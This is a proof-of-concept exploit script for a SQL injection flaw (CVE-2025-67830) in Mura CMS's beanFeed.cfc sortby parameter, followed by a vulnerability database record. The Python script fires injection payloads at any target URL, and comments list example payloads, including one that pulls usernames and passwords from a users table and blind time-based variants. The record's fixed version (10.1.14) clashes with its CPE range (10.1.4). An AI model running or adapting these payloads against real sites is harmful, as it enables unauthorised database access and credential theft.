CVE-2025-67830

# CVE-2025-67830 PoC - Mura CMS SQL Injection in beanFeed.cfc # Target: Mura CMS < 10.1.14 # Component: beanFeed.cfc getQuery method sortby parameter import requests import argparse def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in Mura CMS beanFeed.cfc """ # Construct the malicious URL with SQL injection payload in sortby parameter params = { 'method': 'getQuery', 'sortby': injection_payload } target = f"{target_url.rstrip('/')}/beanFeed.cfc" print(f"[*] Target: {target}") print(f"[*] Payload: {injection_payload}") try: response = requests.get(target, params=params, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response preview: {response.text[:500]}...") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-67830 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-p", "--payload", default="1 UNION SELECT 1,2,version(),4,5--", help="SQL injection payload") args = parser.parse_args() exploit_sql_injection(args.target, args.payload) # Example payloads: # Basic injection: sortby=1' OR '1'='1 # Union-based: sortby=1 UNION SELECT username,password FROM users-- # Boolean-based blind: sortby=(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) # Time-based blind: sortby=1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END--

{"cve": {"id": "CVE-2025-67830", "sourceIdentifier": "[email protected]", "published": "2026-03-18T17:16:04.593", "lastModified": "2026-03-21T00:17:17.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mura before 10.1.14 allows beanFeed.cfc getQuery sortby SQL injection."}, {"lang": "es", "value": "Mura antes de 10.1.14 permite inyección SQL en beanFeed.cfc getQuery sortby."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:murasoftware:mura_cms:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.1.4", "matchCriteriaId": "A8B87F3E-F3CD-442F-90DC-85BF9480F02A"}]}]}], "references": [{"url": "https://docs.murasoftware.com/v10/release-notes/#section-version-1014", "source": "[email protected]", "tags": ["Release Notes"]}]}}